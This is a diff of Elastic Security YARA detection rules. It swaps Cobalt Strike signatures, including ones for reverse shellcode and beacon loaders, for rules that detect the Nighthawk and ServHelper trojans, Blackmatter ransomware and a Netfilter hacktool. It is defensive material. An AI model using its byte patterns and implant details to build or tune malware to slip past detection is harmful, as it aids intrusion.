-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "09755b23a7057c70f3ea242ec48549de65ebc6f13bdc38cbe22d6d758c3718cf"
+		id = "df8e7326-5879-48d7-8a5f-1c9a2d8b7f8d"
+		date = "2022-10-29"
+		modified = "2022-12-20"
+		reference = "https://vms.drweb.com/virus/?i=8172096"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Backdoor_TeamViewer.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "68d9ffb6e00c2694d0d827108d0410d5a66d4f8cf839afddd17c5887b0149350"
+		logic_hash = "3d42c76626c76959e450a81001c73d8d47b52789cab324e0cc7af09303c1367d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4cd7552a499687ac0279fb2e25722f979fc5a22afd1ea4abba14a2ef2002dd0f"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "0f2406e98fa1383e39672bd4ec32a111363f7d33f8bc33c2bd7ea36353faab45"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65473,29 +69351,33 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_29374056 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D ?? FF FF FF 48 81 C3 ?? ?? 00 00 FF D3 }
-		$a2 = { 4D 5A E8 00 00 00 00 5B 89 DF 52 45 55 89 E5 }
+		$a1 = "m%c%c%c%c%c%c.com" ascii fullword
+		$a2 = "client_id=%.8x&connected=%d&server_port=%d&debug=%d&os=%d.%d.%04d&dgt=%d&dti=%d" ascii fullword
+		$a3 = "\\save.dat" ascii fullword
+		$a4 = "auth_ip" ascii fullword
+		$a5 = "updips" ascii fullword
+		$b1 = { 55 8B EC 56 E8 BF 25 00 00 50 E8 7B 5B 00 00 8B F0 59 85 F6 75 2C 8B 75 08 56 E8 A9 25 00 00 50 }
 
 	condition:
-		1 of ($a*)
+		5 of ($a*) or 1 of ($b*)
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_949F10E3 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Nighthawk_9F3A5Abb : FILE MEMORY
 {
 	meta:
-		description = "Identifies the API address lookup function used by Cobalt Strike along with XOR implementation by Cobalt Strike."
+		description = "Detects Windows Trojan Nighthawk (Windows.Trojan.Nighthawk)"
 		author = "Elastic Security"
-		id = "949f10e3-68c9-4600-a620-ed3119e09257"
-		date = "2021-03-25"
-		modified = "2021-08-23"
+		id = "9f3a5abb-b329-44db-af71-d72eae2737ac"
+		date = "2022-11-24"
+		modified = "2023-06-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L787-L806"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e4b726c83013f4b9c9d61683f78a4a91935225e9ed3de0ce164b96b5a6719579"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Nighthawk.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b775a8f7629966592cc7727e2081924a7d7cf83edd7447aa60627a2b67d87c94"
+		logic_hash = "27a34e48141fe260c16c12a2652e440d2540ca5f0c84b41c9c4762dcab44ffd4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "34e04901126a91c866ebf61a61ccbc3ce0477d9614479c42d8ce97a98f2ce2a7"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "a2c49831d048ba91951780f4295895eba3a15f489a39b26b7a27efbc81746e09"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65503,59 +69385,65 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_949F10E3 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 }
-		$a2 = { 8B 07 01 C3 85 C0 75 E5 58 C3 E8 [2] FF FF 31 39 32 2E 31 36 38 2E ?? 2E }
+		$loader_build_iat0 = { B9 BF BF D1 D5 E8 ?? ?? ?? ?? BA 7C 75 84 91 [3-12] E8 ?? ?? ?? ?? BA 47 FB EB 2B [3-12] E8 ?? ?? ?? ?? BA 42 24 3D 39 [3-12] E8 ?? ?? ?? ?? BA E7 E9 EF EE [3-12] E8 ?? ?? ?? ?? BA 47 FD 36 2E [3-12] E8 ?? ?? ?? ?? BA 39 DE 19 3D [3-12] E8 ?? ?? ?? ?? BA 20 DF DB F7 [3-12] E8 ?? ?? ?? ?? BA 45 34 2A 41 [3-12] E8 ?? ?? ?? ?? BA 7D 1C 44 2E [3-12] E8 ?? ?? ?? ?? BA 7D 28 44 2E [3-12] E8 ?? ?? ?? ?? BA 94 36 65 8D [3-12] E8 ?? ?? ?? ?? }
+		$loader_syscall_func = { 65 48 8B 04 25 30 00 00 00 48 8B 80 10 01 00 00 48 89 44 24 F0 65 48 8B 04 25 30 00 00 00 8B 40 68 49 89 CA FF 64 24 F0 }
+		$seq_calc_offset = { 48 8D 0D ?? ?? ?? ?? 51 5A 48 81 C1 ?? ?? ?? ?? 48 81 C2 ?? ?? ?? ?? FF E2 }
+		$seq_keying_registry = { BA ?? ?? ?? ?? 48 8B C8 48 8B D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B CB 4C 8B F0 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B CB 4C 8B F8 E8 ?? ?? ?? ?? 0F B6 4E ?? 48 8B D8 83 E9 ?? 74 ?? 83 F9 ?? 75 ?? 48 C7 C1 ?? ?? ?? ?? EB ?? }
+		$seq_keying_hostname_user = { 40 53 48 83 EC ?? 8A 42 ?? 48 8B D9 3C ?? 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8D 53 ?? 48 8D 4B ?? C7 02 ?? ?? ?? ?? FF D0 85 C0 0F 95 C0 EB ?? }
+		$seq_keying_file = { E8 ?? ?? ?? ?? 33 DB 48 8D 4E ?? 48 89 5C 24 ?? 45 33 C9 89 5C 24 ?? BA ?? ?? ?? ?? 4C 8B E0 89 5C 24 ?? 44 8D 43 ?? C7 44 24 ?? ?? ?? ?? ?? FF D7 48 8B F8 48 83 F8 ?? 74 ?? 8B 55 ?? 45 33 C9 45 33 C0 48 8B C8 }
+		$seq_crypto_op = { 40 84 F6 74 ?? 48 8B C2 B9 04 00 00 00 F3 0F 6F 44 05 ?? F3 0F 6F 4C 05 ?? 48 8D 40 ?? 66 0F EF C8 F3 0F 7F 4C 05 ?? 48 83 E9 01 }
+		$seq_byte_shift = { 48 83 C3 ?? 8D 4D ?? 48 03 CF 0F B6 41 ?? 0F B6 71 ?? C1 E6 08 0B F0 0F B6 41 ?? C1 E6 08 0B F0 0F B6 01 C1 E6 ?? 0B F0 41 3B 75 ?? 76 ?? B8 ?? ?? ?? ?? EB ?? }
 
 	condition:
-		all of them
+		($loader_build_iat0 and $loader_syscall_func) or (2 of ($seq*))
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_8751Cdf9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Nighthawk_2A2E3B9D : FILE MEMORY
 {
 	meta:
-		description = "Identifies Cobalt Strike wininet reverse shellcode along with XOR implementation by Cobalt Strike."
+		description = "Detects Windows Trojan Nighthawk (Windows.Trojan.Nighthawk)"
 		author = "Elastic Security"
-		id = "8751cdf9-4038-42ba-a6eb-f8ac579a4fbb"
-		date = "2021-03-25"
-		modified = "2021-08-23"
+		id = "2a2e3b9d-e85f-43b6-9754-1aa7c9f6f978"
+		date = "2022-11-24"
+		modified = "2023-06-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L808-L827"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "64fae95fd89ad46a50a00c943cf98a997a0842a83be64b3728b25151867b75a8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Nighthawk.yar#L28-L47"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "38881b87826f184cc91559555a3456ecf00128e01986a9df36a72d60fb179ccf"
+		logic_hash = "c42605ebba900fafb4ec2d34d93bb7adb69e731ce151b82a95889dd0d738da00"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0988386ef4ba54dd90b0cf6d6a600b38db434e00e569d69d081919cdd3ea4d3f"
-		threat_name = "Windows.Trojan.CobaltStrike"
-		severity = 99
+		fingerprint = "40912e8d6bd09754046598b1311080e0ec6e040cb1b9ca93003c6314725d4d45"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 }
-		$a2 = { 8B 07 01 C3 85 C0 75 E5 58 C3 E8 [2] FF FF 31 39 32 2E 31 36 38 2E ?? 2E }
+		$payload_bytes1 = { 66 C1 E0 05 66 33 D0 66 C1 E2 0A 66 0B D1 0F B7 D2 8B CA 0F B7 C2 C1 E9 02 33 CA 66 D1 E8 D1 E9 33 CA C1 E9 02 33 CA C1 E2 0F 83 E1 01 }
+		$payload_bytes2 = { 48 8B D9 44 8B C2 41 C1 E0 0F 8B C2 F7 D0 48 8B F2 44 03 C0 41 8B C0 C1 E8 0C 41 33 C0 8D 04 80 8B C8 C1 E9 04 33 C8 44 69 C1 09 08 00 00 41 8B C0 C1 E8 10 44 33 C0 B8 85 1C A7 AA }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_663Fc95D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Nighthawk_23489175 : FILE MEMORY
 {
 	meta:
-		description = "Identifies CobaltStrike via unidentified function code"
+		description = "Detects Windows Trojan Nighthawk (Windows.Trojan.Nighthawk)"
 		author = "Elastic Security"
-		id = "663fc95d-2472-4d52-ad75-c5d86cfc885f"
-		date = "2021-04-01"
-		modified = "2021-12-17"
+		id = "23489175-ed41-4f43-ac85-b9ae3ffb55d9"
+		date = "2023-06-14"
+		modified = "2023-07-10"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L829-L847"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "842a0a372cfb2316293f4a08e1690194fa98368a9f6ffe9c63222b2c4ab6532c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Nighthawk.yar#L49-L74"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "697742d5dd071add40b700022fd30424cb231ffde223d21bd83a44890e06762f"
+		logic_hash = "be41fc53f7098ca3cf718e8066a488196423ede993466c9a24ad2af387e03b24"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "3ff9fe5ef10afa328025a6abd509af788a9b1d5ef73a379e3767b2a4291566a3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65563,29 +69451,35 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_663Fc95D : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00 }
+		$pdb = "C:\\Users\\Peter\\Desktop\\dev\\implant\\CommsChannel\\x64\\Release-ReflectiveDLL\\Implant.x64.pdb" ascii fullword
+		$seq_str_decrypt = { 48 8B C3 48 83 7B ?? ?? 72 ?? 48 8B 03 0F BE 14 06 49 8B CF E8 ?? ?? ?? ?? 48 85 C0 74 ?? 49 2B C7 48 8D 0D ?? ?? ?? ?? 8A 0C 08 48 8B C3 48 83 7B ?? ?? 72 ?? 48 8B 03 88 0C 06 }
+		$seq_hvnc = { BA 06 01 00 00 41 B9 00 00 20 A0 41 B8 20 00 00 00 48 8B CE FF 15 }
+		$seq_pe_parsing = { 8B 44 24 ?? 48 6B C0 28 48 8B 4C 24 ?? 8B 44 01 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 03 C8 48 8B C1 48 89 44 24 ?? 8B 44 24 ?? 48 6B C0 28 48 8B 4C 24 ?? 8B 44 01 ?? 89 44 24 ?? EB ?? }
+		$seq_library_resolver = { 48 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 63 40 ?? 48 8B 4C 24 ?? 48 03 C8 48 8B C1 48 89 44 24 ?? B8 ?? ?? ?? ?? 48 6B C0 ?? 48 8B 4C 24 ?? 8B 84 01 ?? ?? ?? ?? 89 44 24 ?? 83 7C 24 ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? }
+		$seq_disk_info = { 4C 8B A3 B0 00 00 00 48 8B BB A8 00 00 00 49 3B FC 0F 84 ?? ?? ?? ?? 48 8D B3 D8 00 00 00 4C 8D B3 F0 00 00 00 4C 8D BB C0 00 00 00 45 33 ED }
+		$seq_keyname = { 8B 4B 08 C1 E1 08 0B 4B 04 C1 E1 10 41 B8 40 00 00 00 48 8D 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? }
+		$seq_tcptable = { 41 BF 02 00 00 00 41 3B FF 74 ?? 83 FF 17 41 8B C7 75 ?? B8 08 00 00 00 }
 
 	condition:
-		all of them
+		(1 of ($pdb)) or (2 of ($seq*))
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_B54B94Ac : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Servhelper_F4Dee200 : FILE MEMORY
 {
 	meta:
-		description = "Rule for beacon sleep obfuscation routine"
+		description = "Detects Windows Trojan Servhelper (Windows.Trojan.ServHelper)"
 		author = "Elastic Security"
-		id = "b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca"
-		date = "2021-10-21"
-		modified = "2022-01-13"
+		id = "f4dee200-5471-472b-a017-bfcc9c291cbe"
+		date = "2022-03-22"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L849-L872"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
-		logic_hash = "6f63e4c31e55da2008f95e9d05391e40d44e2757c511e666032563ab798e274c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_ServHelper.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "05d183430a7afe16a3857fc4e87568fcc18518e108823c37eabf0514660aa17c"
+		logic_hash = "abab541ebddf36c05e351d506d4f978a30d8a44ff09233a667d62a1692dabe15"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2344dd7820656f18cfb774a89d89f5ab65d46cc7761c1f16b7e768df66aa41c8"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "24e49a0c72e665a03cea66614481665eea962a0c6b0a2f9d459866d8070ab456"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65593,33 +69487,29 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_B54B94Ac : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a_x64 = { 4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03 }
-		$a_x64_smbtcp = { 4C 8B 07 B8 4F EC C4 4E 41 F7 E1 41 8B C1 C1 EA 02 41 FF C1 6B D2 0D 2B C2 8A 4C 38 10 42 30 0C 06 48 }
-		$a_x86 = { 8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2 }
-		$a_x86_2 = { 8B 06 8D 3C 08 33 D2 6A 0D 8B C1 5B F7 F3 8A 44 32 08 30 07 41 3B 4D 08 72 E6 8B 45 FC EB C7 }
-		$a_x86_smbtcp = { 8B 07 8D 34 08 33 D2 6A 0D 8B C1 5B F7 F3 8A 44 3A 08 30 06 41 3B 4D 08 72 E6 8B 45 FC EB }
+		$a = { 48 8B 45 78 48 63 4D 44 48 8B 55 48 4C 63 45 44 48 0F B7 44 48 FE 66 42 33 44 42 FE 66 89 45 42 48 8D 4D 28 48 0F B7 55 42 E8 ?? ?? ?? ?? 48 8B 4D 70 48 8B 55 28 E8 ?? ?? ?? ?? 83 45 44 01 83 EB 01 85 DB 75 ?? }
+		$b = { 39 5D ?? 0F 8F ?? ?? ?? ?? 2B D8 83 C3 01 48 8B 45 ?? 48 63 4D ?? 66 83 7C 48 ?? 20 72 ?? 48 8B 45 ?? 48 63 4D ?? 66 83 7C 48 ?? 7F 76 ?? 48 8B 45 ?? 48 63 4D ?? 48 0F B7 44 48 ?? 66 83 E8 08 66 83 F8 07 77 ?? B2 01 8B C8 80 E1 7F D3 E2 48 0F B6 05 ?? ?? ?? ?? 84 C2 0F 95 C0 EB ?? 33 C0 84 C0 74 ?? 83 45 ?? 01 }
 
 	condition:
 		any of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_F0B627Fc : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Servhelper_370C5287 : FILE MEMORY
 {
 	meta:
-		description = "Rule for beacon reflective loader"
+		description = "Detects Windows Trojan Servhelper (Windows.Trojan.ServHelper)"
 		author = "Elastic Security"
-		id = "f0b627fc-97cd-42cb-9eae-1efb0672762d"
-		date = "2021-10-21"
-		modified = "2022-01-13"
+		id = "370c5287-0e2f-4113-95b6-53d31671fa46"
+		date = "2022-03-24"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L874-L897"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b362951abd9d96d5ec15d281682fa1c8fe8f8e4e2f264ca86f6b061af607f79b"
-		logic_hash = "1087294af3a9ef59c00098f5fd7adfe0b335525e135d95e45ac30e44c6739a72"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_ServHelper.yar#L22-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "05d183430a7afe16a3857fc4e87568fcc18518e108823c37eabf0514660aa17c"
+		logic_hash = "8a2934c28efef6a5fed26dc88d074aee15b0869370c66f6a4d6eaedf070eaa9e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fbc94bedd50b5b943553dd438a183a1e763c098a385ac3a4fc9ff24ee30f91e1"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "a66134e9344cc5ba403fe0aad70e8a991c61582d6a5640c3b9e4a554374176a2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65627,33 +69517,28 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_F0B627Fc : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$beacon_loader_x64 = { 25 FF FF FF 00 3D 41 41 41 00 75 [5-10] 25 FF FF FF 00 3D 42 42 42 00 75 }
-		$beacon_loader_x86 = { 25 FF FF FF 00 3D 41 41 41 00 75 [4-8] 81 E1 FF FF FF 00 81 F9 42 42 42 00 75 }
-		$beacon_loader_x86_2 = { 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 [4-8] 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 }
-		$generic_loader_x64 = { 89 44 24 20 48 8B 44 24 40 0F BE 00 8B 4C 24 20 03 C8 8B C1 89 44 24 20 48 8B 44 24 40 48 FF C0 }
-		$generic_loader_x86 = { 83 C4 04 89 45 FC 8B 4D 08 0F BE 11 03 55 FC 89 55 FC 8B 45 08 83 C0 01 89 45 08 8B 4D 08 0F BE }
+		$a = { 00 10 66 01 00 48 66 01 00 98 07 2B 00 50 66 01 00 95 66 01 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_Dcdcdd8C : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Blackmatter_B548D151 : FILE MEMORY
 {
 	meta:
-		description = "Rule for beacon sleep PDB"
+		description = "Detects Windows Ransomware Blackmatter (Windows.Ransomware.Blackmatter)"
 		author = "Elastic Security"
-		id = "dcdcdd8c-7395-4453-a74a-60ab8e251a5a"
-		date = "2021-10-21"
-		modified = "2022-01-13"
+		id = "b548d151-5dde-459b-9d4a-b4a48c1b5545"
+		date = "2021-08-03"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L899-L923"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
-		logic_hash = "f3ae07282b763d3720e45a84878cc457f65041f381951cdc9affd5e3ce67e6cc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Blackmatter.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "072158f5588440e6c94cb419ae06a27cf584afe3b0cb09c28eff0b4662c15486"
+		logic_hash = "cf76a311de9d292a2ea09b3937b8eb7fd761b7c33a464a31acf6b9a5bf121959"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8aed1ae470d06a7aac37896df22b2f915c36845099839a85009212d9051f71e9"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "351658f8fe3f9c956634e3cf7a03b272c55359f069c5200e948d817c6b554c87"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65661,34 +69546,28 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_Dcdcdd8C : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask.x64.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask.x86.o" ascii fullword
-		$a3 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask_smb.x64.o" ascii fullword
-		$a4 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask_smb.x86.o" ascii fullword
-		$a5 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask_tcp.x64.o" ascii fullword
-		$a6 = "Z:\\devcenter\\aggressor\\external\\sleepmask\\bin\\sleepmask_tcp.x86.o" ascii fullword
+		$a1 = { 93 F0 DA 07 E7 F0 DA 07 E0 5B 99 65 47 38 96 6C 75 91 65 46 5A D0 B0 25 DA 90 42 CE F1 73 10 B1 14 BD 3C EC FD 7C AF 9B 8D 86 89 A5 FF C0 3F 78 57 8E E2 AD 2E 3A 2F 74 79 B1 FE 27 69 6B 9F 97 CE C8 67 88 1A 0B 01 F1 B7 76 35 18 E8 FF E1 D7 66 8C 41 03 EB F8 64 E5 7E F1 06 73 AB BF 6B 1D 6A B9 B6 BA 41 A2 91 49 5E 85 51 A0 83 23 46 D6 E0 E5 0F C2 53 89 2A 35 94 AF FC 87 A0 D8 08 E7 B8 DB 08 E7 78 22 E5 7E AE BB EF 16 87 08 3C 47 F0 49 1E 0D 2D 9A 1B 55 54 05 14 69 A3 1B 9C 7A 97 7B CF 85 2B 09 F9 DC 2C EB A6 55 F1 A0 07 B4 AA 80 EA ED 26 87 C0 }
 
 	condition:
 		any of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_A3Fb2616 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Blackmatter_8394F6D5 : FILE MEMORY
 {
 	meta:
-		description = "Rule for browser pivot "
+		description = "Detects Windows Ransomware Blackmatter (Windows.Ransomware.Blackmatter)"
 		author = "Elastic Security"
-		id = "a3fb2616-b03d-4399-9342-0fc684fb472e"
-		date = "2021-10-21"
-		modified = "2022-01-13"
+		id = "8394f6d5-4761-4df6-974d-eaa0a25353da"
+		date = "2021-08-03"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L925-L947"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "36d32b1ed967f07a4bd19f5e671294d5359009c04835601f2cc40fb8b54f6a2a"
-		logic_hash = "a3c36326ccc2bc828f6654ccaba507a283f92146fdc52f71d7d934f6908793e2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Blackmatter.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "072158f5588440e6c94cb419ae06a27cf584afe3b0cb09c28eff0b4662c15486"
+		logic_hash = "50a9b65ca6dde4fc32d2d57e72042f4380dd6c263ec5c33ce7c158151b91a5ae"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c15cf6aa7719dac6ed21c10117f28eb4ec56335f80a811b11ab2901ad36f8cf0"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "3825f59ffe9b2adc1f9dd175f4d57c9aa3dd6ff176616ecbe7c673b5b4d414f8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -65696,155 +69575,144 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_A3Fb2616 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "browserpivot.dll" ascii fullword
-		$a2 = "browserpivot.x64.dll" ascii fullword
-		$b1 = "$$$THREAD.C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" ascii fullword
-		$b2 = "COBALTSTRIKE" ascii fullword
+		$a1 = { FF E1 D7 66 8C 41 03 EB F8 64 E5 7E F1 06 73 AB BF 6B 1D 6A B9 B6 BA 41 A2 91 49 5E 85 51 A0 83 23 }
 
 	condition:
-		1 of ($a*) and 2 of ($b*)
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_8Ee55Ee5 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Netfilter_E8243Dae : FILE
 {
 	meta:
-		description = "Rule for wmi exec module"
+		description = "Detects Windows Hacktool Netfilter (Windows.Hacktool.NetFilter)"
 		author = "Elastic Security"
-		id = "8ee55ee5-67f1-4f94-ab93-62bb5cfbeee9"
-		date = "2021-10-21"
-		modified = "2022-01-13"
+		id = "e8243dae-33d9-4b54-8f4a-ba5cf5241767"
+		date = "2022-04-04"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L949-L969"
